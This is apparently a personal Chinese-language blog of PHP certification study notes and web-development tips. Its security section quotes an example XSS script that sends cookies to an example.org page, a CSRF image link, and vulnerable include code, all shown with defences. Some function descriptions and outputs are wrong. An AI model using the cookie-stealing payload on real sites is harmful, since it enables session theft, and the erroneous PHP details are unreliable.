星期日, 10月 31, 2010

Zend PHP 5 Certification Study Guide 筆記 (五) Streams and Network Programming

A list of possible modes for fopen() using mode
mode Description
'r'
Open for reading only; place the file pointer at the
beginning of the file.
'r+'
Open for reading and writing; place the file pointer at
the beginning of the file.
'w'
Open for writing only; place the file pointer at the
beginning of the file and truncate the file to zero length.
If the file does not exist, attempt to create it.
'w+'
Open for reading and writing; place the file pointer at
the beginning of the file and truncate the file to zero
length. If the file does not exist, attempt to create it.
'a'
Open for writing only; place the file pointer at the end of
the file. If the file does not exist, attempt to create it.
'a+'
Open for reading and writing; place the file pointer at
the end of the file. If the file does not exist, attempt to
create it.
'x'
Create and open for writing only; place the file pointer at the
beginning of the file. If the file already exists, the
fopen() call will fail by returning FALSE and
generating an error of level E_WARNING. If
the file does not exist, attempt to create it. This is equivalent
to specifying O_EXCL|O_CREAT flags for the
underlying open(2) system call.
'x+'
Create and open for reading and writing; otherwise it has the
same behavior as 'x'.
'c'
Open the file for writing only. If the file does not exist, it is
created. If it exists, it is neither truncated (as opposed to
'w'), nor the call to this function fails (as is
the case with 'x'). The file pointer is
positioned on the beginning of the file. This may be useful if it's
desired to get an advisory lock (see flock())
before attempting to modify the file, as using
'w' could truncate the file before the lock
was obtained (if truncation is desired,
ftruncate() can be used after the lock is
requested).
'c+'
Open the file for reading and writing; otherwise it has the same
behavior as 'c'.

如果檔案不存在,用w,w+,a, and a+會自動建立新檔
如果檔案已存在,用x及x+會產生E_WARNING
fgets reads a line -- i.e. it will stop at a newline.  
fread reads raw data -- it will stop after a specified (or default) number of bytes, independantly of any newline that might or might not be present.

  • 指標
    $file = fopen(’counter.txt’, ’r+’);
    fseek($file, 10, SEEK_SET);
    • SEEK_SET - Set position equal to offset bytes.
    • SEEK_CUR - Set position to current location plus offset.
    • SEEK_END - Set position to end-of-file plus offset.
    範例
    <?php
    
    $fp = fopen('somefile.txt', 'r');
    
    // read some data
    $data = fgets($fp, 4096);
    
    // move back to the beginning of the file
    // same as rewind($fp);
    fseek($fp, 0);
    
    ?>
    
  • Simple File Functions
    • get data
      // Old Way
      $file = implode("\r\n", file("myfile.txt"));
      // New Way
      $file = file_get_contents("myfile.txt");
      
    • write data
      $data = "My Data";
      file_put_contents("myfile.txt", $data, FILE_APPEND);
      
      $data = array("More Data", "And More", "Even More");
      file_put_contents("myfile.txt", $data, FILE_APPEND);
      
  • Controlling File Access
    • is_dir()—Checks if the path is a directory
    • is_executable()—Checks if the path is executable
    • is_file()—Checks if the path exists and is a regular file 
    • is_link()—Checks if the path exists and is a symlink 
    • is_readable()—Checks if the path exists and is readable 
    • is_writable()—Checks if the path exists and is writable
    • is_uploaded_file()—Checks if the path is an uploaded file (sent via HTTP POST)

星期四, 10月 28, 2010

log查詢速度時間過長的query (slow log)

想要知道哪些指令,Query資料會過慢的方法:
自動記錄並log出這樣的資料可以在資料庫慢時幫助抓問題
設定檔=/etc/my.cnf

加入以下的資料到my.cnf內
log-slow-queries = /var/log/mysql/mysql-slow.log (記錄檔的位置可以自己改)
long_query_time = 1 (超過設定的秒數就記錄1代表一秒2代表兩秒)
log_long_format


注意寫入權限問題
如果沒看到記錄檔可以自己先在這個目錄下建立個空白的檔案
並設定可以寫入的權限,這樣才可以記錄到檔案



Reference
mysql_自動log哪些Query速度慢時間過長的指令

星期三, 10月 27, 2010

Zend PHP 5 Certification Study Guide 筆記 (四) Security

  • Concepts and Practices
    注意以下事件
    • All Input Is Tainted
      謹慎想像每個Input都被污染(Tainted),所以都要檢查
    • Whitelist vs. Blacklist Filtering
    • Filter Input
    • Escape Output
    • Register Globals
  • Website Security
    • Spoofed Forms
    • Cross-Site Scripting (XSS) 在送出的input中,直接加入script,攻擊者即可透過$_GET['cookies']得到cookie的內容
      <script>
        document.location = ''http://example.org/getcookies.php?cookies=''
        + document.cookie;
      </script>
    • Cross-Site Request Forgeries (CSRF)
      說明:在使用者登入的情況下,假造一個link夾帶get的指令(通常用img裡夾),
      ex: <img src="http://example.org/checkout.php?isbn=031234&qty=1" >
      讓使用者點選進而執行get的指令(例如修改資料等),因為是在使用者登入的情況下,所以指令會執行成功
      解決方法:get問題,雖可用post解決,但當server端利用$_REQUEST,則會遇到相同問題
      雖post仍算是減少傷害,但仍不能完全避免,要完全避免可利用random token
      在產生form時,在session記錄個token,另一方面在form埋個hidden存token
      如此一來即可比對
      <?php
        session_start();
        $token = md5(uniqid(rand(), TRUE));
        $_SESSION['token'] = $token;
      ?>
      
      //產生form
      <form action="checkout.php" method="POST">
        <input type="hidden" name="token" value="<?php echo  $token;?>" /?>
        <!-- Remainder of form -->
      </form>
      
      //request
      if (isset($_SESSION['token'])
        && isset($_POST[』token』])
        && $_POST['token'] == $_SESSION['token'])
      {
        // Token is valid, continue processing form data
      }
  • Database Security
  • Filesystem Security
    • Remote Code Injection
      說明:當php裡利用以下方法include檔案時,攻擊者只要改變section值即可插入攻擊碼
      include "{$_GET['section']}/data.inc.php";
      解決方法:限制可選的路徑
      $clean = array();
      $sections = array('home', 'news',  'photos', 'blog');
      if (in_array($_GET['section'], $sections))
           $clean['section'] = $_GET['section'];
      else
           $clean['section'] = 'home';
      
      include "{clean['section']}/data.inc.php";
    • Command Injection
      說明:由於php可以動態載入檔案,又提供exec(), system() and passthru()等,可以執行系統執令的強大函式,所以一但被攻擊,這下問題就大條了
      解決方法:適當的filtering及escaping要做好囉
  • Shared Hosting
    針對以下幾個設定限制,可以事先避開Filesystem Security,command injection的問題
    • open_basedir
      <virtualhost *>
        DocumentRoot /home/user/www
        ServerName www.example.org
        <Drectory home/user/www>
          php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/" //限制資料夾
        </Directory>
      </virtualhost>
    • disable_functions (php.ini)
      ;Disable functions
      disable_functions = exec,passthru,shell_exec,system
    • and disable_classes (php.ini)
      ;Disable classes
      disable_classes = DirectoryIterator,Directory
    透過php.ini的設定
Reference PHP Security Guide

星期三, 10月 20, 2010

Zend PHP 5 Certification Study Guide 筆記 (三) - Web Programming & OO

  1. Web Programming 
    • Managing File Uploads
      檔案上傳後,php會將上傳檔移到暫存的地方,如果沒有複製或搬移,將會存活到script結束為止 透過$_FILES可取得上傳檔的資訊
      nameThe original name of the file
      typeThe MIME type of the file provided by the browser
      sizeThe size (in bytes) of the file
      tmp_nameThe name of the file’s temporary location
      errorThe error code associated with this file. A value of UPLOAD_ERR_OK indicates a successful transfer, while any other
      error indicates that something went wrong (for example, the
      file was bigger than the maximum allowed size).
      由於直接存取上傳檔有安全性問題,所以最好先
      1. 檢查upload information為UPLOAD_ERR_OK
      2. 檢查檔案size not zero 及 tmp_name is not set to none.
      3. 存取檔案(2種方法)
        • is_uploaded_file(),檢查是否為上傳檔案,再進行複製 if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
             echo 
          "File "$_FILES['userfile']['name'] ." uploaded successfully.\n";
             echo 
          "Displaying contents\n";
             
          readfile($_FILES['userfile']['tmp_name']);
          } else {
             echo 
          "Possible file upload attack: ";
             echo 
          "filename '"$_FILES['userfile']['tmp_name'] . "'.";
          }
        • move_uploaded_file()直接搬移檔案
          $uploads_dir '/uploads';
          foreach (
          $_FILES["pictures"]["error"] as $key => $error) {
              if (
          $error == UPLOAD_ERR_OK) {
                  
          $tmp_name $_FILES["pictures"]["tmp_name"][$key];
                  
          $name $_FILES["pictures"]["name"][$key];
                  
          move_uploaded_file($tmp_name"$uploads_dir/$name");
              }
          }

    • Http Headers
      header在需在任何output前完成,否則會無效或出錯,除非有用buffer
      • Redirection
        redirect後,最好加個exit(),避免執行到後續的script
        header("Location: http://phparch.com"); exit();
        在送出form,如果回上一頁,會出現要"重送資訊",如果要避免,就可以透過redirect forward到正確頁
  2. OO

Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()

在用了Zend_Auth後
某天莫名的出現這問題
Fatal error: Uncaught exception 'Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()'...
也搞不懂發生了什麼事情
後來找到有人提出是因為php.ini的session.auto_start問題
//php.ini
session.auto_start = 1; //改為0即正常運作,當然記得要restart apache

在每個php有用到session的,就必須先執行 session_start()
在php.ini中的session.auto_start
如果為0,則須執行 session_start()
如果為1,則不須執行 session_start()
而Zend要有session的主控權,所以用Zend_Session(Zend_Auth會用到)時,要關掉auto start

不過還有人改了session.auto_start後 還是沒解決
查出是Directory權限的問題
自己是還沒遇過,不過先寫下來預防萬一
大致上的問題在application.ini裡設定resources.session.save_path
而該file需要該group有足夠的權限,而chmod 775 session即足夠

Reference
Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()

星期四, 10月 14, 2010

Zend PHP 5 Certification Study Guide 筆記 (二)


Chapter 4 Strings And Patterns


String Basics
單引號用在"Simple strings" //almost all characters are used literally
雙引號用在"Complex strings" //alow for special escape sequences
Variable Interpolation
//單、雙引號差別
$who = "World";
echo "Hello $who\n"; // Shows "Hello World" for followd by new line
echo 'Hello $who\n'; // shows "Hello $who\n"

//無空格連接
$me = 'Davey';
echo "There cannot be more than tw {$me}s!"; //s緊連接在$me後

//array用法 - 利用braces
$names = array('Smith', 'Jones', 'Jackson');
echo "Citation: {$names[1]}";


The Heredoc Syntax
利用<<<關鍵字 可以接受一段string
$who = "World";
echo $lt;$lt;$lt;TEXT
So I said, "Hello $who"
TEXT;
//印出So I said, "Hello World,在opening token及closing token的斷行符號皆忽略

*例外 在物件中屬性無法利用Heredoc方法給值

Escaping Literal Values
Determining the Length of a String
echo strlen("te"); //2
echo strlen("dd"); //3
echo strlen("我的"); //3


Simple Searching Functionality
//找字串的起始位置
$haystack = "abcdefg";
$needle = 'abc';
if(strpos($haystack, $needle) !== false){
echo 'Found';
}


因為array從0開始,所以當在第一格即match時,會回傳0,但0會當false,所以利用!==

strstr()與strpos的差異
functionpurpose指定搜尋的index
回傳找到符合字串後的值不能
回傳符合字串的起始位置
strstr()比較慢,所以如果只是找位置的話,用strpos()比較恰當
以上兩者皆case-insensitive,要分大小寫要改用stripos(),stristr()

Matching Against a Mask
strspan($string1,$string2[,index][,length])
看好久還是看不太懂
似乎是「從index開始,利用遮罩A字串去遮B字串中的字元,至到不符合即中止」
echo strspn('133445abcdef','12345') //輸出6(13345),a開始即無法遮罩
echo strspn("PHP wzd","PHPwzd"); // 輸出3(PHP),空格處遮罩
echo strspn("faooaaol","ao",1,4); // 輸出4(aooa),跳過f開始找4個
echo strspn("foo","o",1,2); // 輸出2(oo)

Simple Search and Replace Operations
  • 取代 substr_replace(mixed $string, string $replacement )
    echo str_replace("World", "Reader", "Hello World"); //大小寫沒差,所以outputs Hello Reader
    echo str_replace("world", "Reader", "Hello World"); //大小寫有差,所以outputs Hello World

  • 一次取代多個
    echo str_replace(array("Hello", "World"),"Bye", "Hello World"); //Bye Bye
    當取代及被取代皆為array,再依array indexes對應
    echo str_replace(array("Hello", "World"), array("Bonjour", "Monde"), "Hello World"); //Bonjour Monde
  • 取代部份 substr_replace(mixed $string, string $replacement , int $start [, int $length ])
    echo substr_replace("Hello World", "Reader", 6); //Hello World
    echo substr_replace("Canned tomatoes are good", "potatoes", 7 ,8); //Canned potatoes are good

substr_replace加強版(搭配strpos())
從email取得帳號
$user = "davey@php.net";
$name = substr_replace($user, "", strpos($user, '@');
echo "Hello " . $name;


Formatting Strings
主要是在print數量及金錢單位時,會因不同國家而有不同的顯示
所以在print前 最好都先確認及設定國別
setlocale(LC_MONETARY, 'en_US');

  • Formatting Numbers
    echo unmber_format("100000.698"); //Shows 100,001 (美國會在千用逗號)
    echo unmber_format("100000.698", 3, ",", " "); //Shows 100 000,698 (改成用空格)

  • Formatting Currency Values
    會印出該國的金幣符號,ex $100,¥100
    setlocale(LC_MONETARY, 'en_US');
    echo money_format('%.2n', "100000.698"); //$100,000.70
    setlocale(LC_MONETARY, "ja_JP.UTF-8");
    echo money_format('%.2n', "100000.698"); //¥100,000.70

    setlocale(LC_MONETARY, 'en_US');
    echo money_format('%i', "100000.698"); //USD 100,000.70 //雖沒設定小數位,但美元習慣有2位小數
    setlocale(LC_MONETARY, "ja_JP");
    echo money_format('%i', "100000.698"); //JPY 100,001 沒小數位,所以併成整數

    money_format()無法在Windows平台上用,某些UNIX也無法使用

星期五, 10月 08, 2010

Zend PHP 5 Certification Study Guide 筆記 (一)

  1. basic

    • ==及===的不同
      var_dump (1 == 1);//true
      var_dump (1 == "1");//true
      var_dump (1 === 1); //true
      var_dump (1 === "1"); //false, 值要相同,同型態 (比陣列,還要Order相同)

  2. function

    • Returning Values
      function可以call by reference
      但回傳值就必需有變數
      //example 1
      function &query($sql)
      {
        $result  = mysql_query($sql);
        return $result; //return variable
      }
      
      //example 2, incorrect and will cause PHP to emit a notice when called
      function &getHollo()
      {
        return "Hello World"; //非variable
      }
      
      //example 3 also cause the warning to be issued when called
       function &test()
      {
        echo 'This is a test';
      }
    • Passing Arguments
      function hello($who = "World")
      {
       echo "Hello $who"; 
      }
      hello(); //pass in no argument and $who is assigned "World" by default
  3. Arrays

    • Array Basic
      $x[] = 10;
      $x['aa'] = 11;
      echo $x[0]; //Outputs 10
      
      //continue, what if 
      $x[0]=12; // 
      echo $x[0]; //Outputs 12, 蓋掉了 

      另外新增元素會從Array中最大的數值增加
      $a = array(2 => 5);
      $a[] = 'a'; //This will have a key of 3
      
      $b = array( '4' => 5,'a' => 'b');
      $a[] = 44; //This will have a key of 5<$/code>
      
      key中,'A'跟'a'不同,但'1'跟1相同
    • Array Operations
      $a = array(1,2,3);
      $b=array("a" => 4,5,6);
      var_dump($a + $b);
      
      //result in
      array(4){
      [0] => int(1)
      [1] => int(2) 
      [2] => int(3)
      [a] => int(4) //沒有5,6
      }
      為什麼5,6不見了?
      因為$b = ('a'=> 4,1 => 5, 2 => 6);
      而$a + $b時,被前面的$a搶走了...

      var_dump及print_r的差別
      =>一樣,但前者會印
      型態
      Comparing Arrays
      $arrayA == $arrayB   //當陣列數一樣,值一樣
      $arrayA === $arrayB //當陣列數一樣,值一樣,Order也一樣
    •  Array Iteration
      Array pointer問題
      $a = array('zero','one','two');
      foreach($a as &$v){
      }
      foreach($a as $v){
      }
      print_r($a);
      
      //outputs
      Array
      {
        [0] = zero
        [1] = one
        [2] = one //two被改one了
      }
      2個foreach都沒做事,為何會變改
      因為第一個foreach的$v是call by reference
      在迴圈結束時,$v停在$a[2](two)

      在第二個foreach時
      第1次被指向array index 0, 被assign "zero"...
      第2次被指向array index 1, 被assign "one"...
      第3次被指向array index 2, 被assign "one"(原本的值"two",在上一輪改為"one"了)
      所以囉 這不是php的bug
    • Sorting Arrays
      >>>>>
      Name說明Key
      sort($array);排序value,可加第二參數
      SORT_REGULAR, SORT_NUMERIC, SORT_STRING
      destory
      asort($array);排序value,key被保留保留
      rsort($array);sort()是ascending order,rsort()即為decending orderdestory
      arsort($array);即為decending order
      natsort($array);sort(),排序10t,2t,3t(因此10t的1先出現),此時利用natsort即可解決destory
      natcasesort($array);考慮大小寫不同destory
      ksort($array);依key排序 low to high (krsort相反)保留
      usort($array,'myCmp');user defineddestory
      uasort($array,'myCmp');保留key保留
      uksort($array,'myCmp');依key排序保留

       
    • The Anti-Sort
      Name說明
      shuffle($card);將array往後移一位(最後一個變第一個)
      array_rand($card,[, int num_req]);隨機挑n個key

       
    • Set Functionality
      Name說明
      array_diff($a,$b)$a的差集($a有什麼$b沒有的)
      array_intersect($a,$b)$a,$b的交集






星期四, 10月 07, 2010

parse json在browser上的支援問題

因為安全性問題 知道不要用eval轉json
改用JSON.parse
但幸虧有瞄到網友提醒瀏覽器的支援性
  • IE8 Beta 2以上(但只限JScript 5.8,也就是IE8標準模式)
  • Firefox 3.1 Beta 3以上(但似乎只有對JSON.parse()以及JSON.stringify()的支援)

看來只好用jquery的jQuery.parseJSON
不過要注意
因為字串的關係,所以要求key的部份要用雙引號(當然value是字串時,也是用雙引號)
//錯的格式
{test: 1} //需要引號包住
{'test': 1} //用了單引號
{"test":1} //正確的格式


另外google上的plugin jquery-json
還沒看懂 先記下來


References:
風之音 - JSON是什麼
jQuery.parseJSON

星期三, 10月 06, 2010

ie 圓角問題

ie沒實作css3 border-radius
所以沒有圓角,該怎麼辦咧
看到有高手用jQuery完成ie圓角問題
正開心的覺得有解決方案時

機車johnny又說出口頭禪「按捏未塞啦 歹看」
說圓角有鋸齒...很醜
還說看facebook在ie上是有圓角的...而且很smooth

馬上開ie用給我看
這... 嗯哉咧...












用firebug看(當然是在firefox上看)
是用css3的屬性達成的...

但ie未實作 所以應該不是用這方法解決
只是ie也沒有類似firebug的工具可以看
想說硬是從html裡找出來 慘念...
是用javascript產生的...
這下有的找了...

-- 後記 --
感謝Coud 分享ie develop tool
讓我查出來 原來fb針對ie是另外做圓角
而不是跟直接用css的border-radius屬性
有找到pop_topleft這東西 不過還沒看是用圖還什麼完成


References:
Rounded Corners in Internet Explorer
Rounded Corners in Internet Explorer Using JQuery

星期六, 10月 02, 2010

Coding Style

一直以來都是自己開發系統
也還沒跟別人合作過
快把自己的coding style好好補一下

Mr.Days建議閱讀的文章

讀了幾篇
coding style就是要讓別人可以看的懂,能很快的看出結構
以這個為出發點 本身的coding style就不會太差了
其他的技巧及convention就多讀一點囉...
  • Naming Rule
    最近聽人介紹一本書Clean Code, 感覺也挺不錯的
    看別人寫好的心得最快,以下截出幾句...
    • Use Intention-Revealing Names 
      一個命名,還需要註解來解釋它,就代表他還不夠清楚表示意思
    • Make Meaningful Distinctions
      獨自開發時容易因為一時的方便,只為了建置或開發方便,而隨手使用了不具意義或暫時的命名,往往之後帶來相當多潛在的問題
    • Use Pronounceable Names
      幫助溝通,而且不會顯得這麼愚蠢
    • Use Searchable Names 
      太容易重複出現,就會導致不容易搜尋與定位
  • Version control
    時常自己獨立完成一支程式,想想個人做Version control頂多是backup吧... 不... backup都至少是上個星期的事情了...
    fcamel的文章「養成寫程式的好習慣」,提到即便是一個人 做Version control也是有幫助的
    原本還沒想到有什麼好處
    看完後,發現自己還滿常發生facmel的說的狀況
    • 寫程式較不怕被中斷,只要 hg diff 就知道剛才改了什麼。commit 前也能清楚明白這次做了那些修改,去掉忘了除掉的 debug code。
    • 可以放心地修改,改到昏頭就 hg up -C 清掉剛才不知所云的修改,不用花費力氣將程式弄回正常的版本。
    • 寫到一半發覺要先完成另一個功能,hg shelve 暫存目前的修改,接著將另一個功能做完並 commit,再 hg unshelve 回頭做原本的事,可以輕鬆地切換目標,隨時專注在目前的目標上。
    • 若發覺某個功能忽然不能運作,hg up 切回舊的版本,做個 binary search (或用 hg bisect) 立即找到改出問題的 commit。由於每個 commit 都很精簡,看一下就會找到改爛的原因。

說到差的conding style...
我最受不了沒縮排的...
真不知道他們怎麼coding的...
哦..還有還有... 把所有東西都寫在同一個class裡的那種...

References:

星期五, 10月 01, 2010

.Net 讀Excel的讀0開頭的數值

原本把Zipcode當數值讀進來
沒想到美國有0開頭的Zipcode
造成存檔時 會少個0
於是就把Excel的儲存格(cell)改成「文字」格式
再由C#讀進Data Table

但事情就是沒這麼順利
有時讀進來是空值
也不知為什麼,後來試了一下
當把儲存格轉成「文字」格式時
該儲存格會變成有小綠標的儲存格(如下圖)

這時是可以讀進來的
但有時是沒有的... 所以要click一下這個儲存格
讓這儲存格有小綠標 這樣就ok了

p.s. 但也遇過 有小綠標 但還是讀失敗的
 不過不記得當時的情況,遇到再說吧